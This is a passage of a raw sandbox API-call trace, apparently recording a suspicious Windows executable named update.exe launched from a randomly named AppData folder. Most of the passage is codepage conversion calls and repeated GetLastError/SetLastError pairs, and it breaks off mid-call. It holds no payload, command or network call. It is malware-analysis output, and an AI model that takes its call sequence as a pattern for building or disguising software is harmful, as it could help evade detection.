xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa9\x2b\xce\x3c\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0092.185] GetLastError () returned 0x0 [0092.185] SetLastError (dwErrCode=0x0) [0092.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0092.185] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ穌뮓@Ā") returned 256 [0092.185] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ穌뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0092.186] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ穌뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0092.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa9\x2b\xce\x3c\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0092.186] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.186] SetLastError (dwErrCode=0x0) [0092.186] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.187] SetLastError (dwErrCode=0x0) [0092.187] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.188] SetLastError (dwErrCode=0x0) [0092.188] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.189] GetLastError () returned 0x0 [0092.189] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.190] SetLastError (dwErrCode=0x0) [0092.190] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.191] SetLastError (dwErrCode=0x0) [0092.191] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.192] SetLastError (dwErrCode=0x0) [0092.192] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.193] SetLastError (dwErrCode=0x0) [0092.193] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.194] GetLastError () returned 0x0 [0092.194] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.195] GetLastError () returned 0x0 [0092.195] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.196] SetLastError (dwErrCode=0x0) [0092.196] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.197] GetLastError () returned 0x0 [0092.197] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.198] SetLastError (dwErrCode=0x0) [0092.198] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.199] SetLastError (dwErrCode=0x0) [0092.199] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.200] SetLastError (dwErrCode=0x0) [0092.200] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.201] GetLastError () returned 0x0 [0092.201] SetLastError (dwErrCode=0x0) [0092.202] GetLastError () returned 0x0 [0092.202] SetLastError (dwErrCode=0x0) [0092.202] GetLastError () returned 0x0 [0092.202] SetLastError (dwErrCode=0x0) [0092.202] GetLastError () returned 0x0 [0092.202] SetLastError (dwErrCode=0x0) [0092.204] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0092.204] GetLastError () returned 0x0 [0092.204] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0093.021] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.028] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.028] GetCommProperties (in: hFile=0x0, 